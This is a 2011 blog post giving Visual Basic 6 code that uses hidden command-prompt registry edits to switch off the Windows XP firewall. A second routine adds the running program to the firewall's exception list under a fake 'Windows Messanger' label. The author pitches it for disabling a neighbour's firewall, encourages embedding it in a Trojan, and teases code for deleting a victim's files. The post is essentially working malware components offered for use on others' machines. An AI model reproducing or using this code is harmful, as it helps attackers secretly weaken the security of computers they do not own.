Need to disable the
firewall of your neighbor ? And you have physical access to his computer ? Or just want to learn it for fun ? I required disabling the XP firewall for so reason and I was able to do it in one line of code using
command prompt to enter registry values. Also, this code disables it,but it doesn't kill it.So that If the person notices, it can be turned back on (most prominent and common
viruses today first disable the firewall,so he will not be surprised unless he is a plain dumb). While the following codes disable the firewalls,you can be creative if you can design a simple Trojan and embed this code in it. Experiment and learn.
Please note due to display constraints,the code here may not be displayed as in
Visual Basic IDE,It will be wrapped up in several lines like the one given below..but you get the idea..
Shell "cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v ""EnableFirewall"" /t REG_DWORD /d ""0"" /f", vbHide
Here is another piece of code that will do it. Instead of disabling it, it allows exceptions to the firewall, and adds a program as an exception.
Public Sub FirewallException(Path As String)
Shell "cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v ""DoNotAllowExceptions"" /t REG_DWORD /d ""0"" /f", vbHide
Shell "cmd /c REG ADD HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v """ & Path & """ /t REG_SZ /d """ & Path & ":*:Enabled:Windows Messanger"" /f", vbHide
End Sub
Put the above code into a module. To use, put this in your code to add itself to the exception list. You can call this code by using this code -
Call FirewallException(App.Path & "\" & App.EXEName & ".exe")
Also,you can plainly delete some important files using VB6 if you really want to trash his
windows..more on this next time.Or If you want to
program more prank codes,you can read this article about
prank Programming
Till then,Keep (prank) programming :)
Thanks...
Saturday, July 09, 2011
Anu
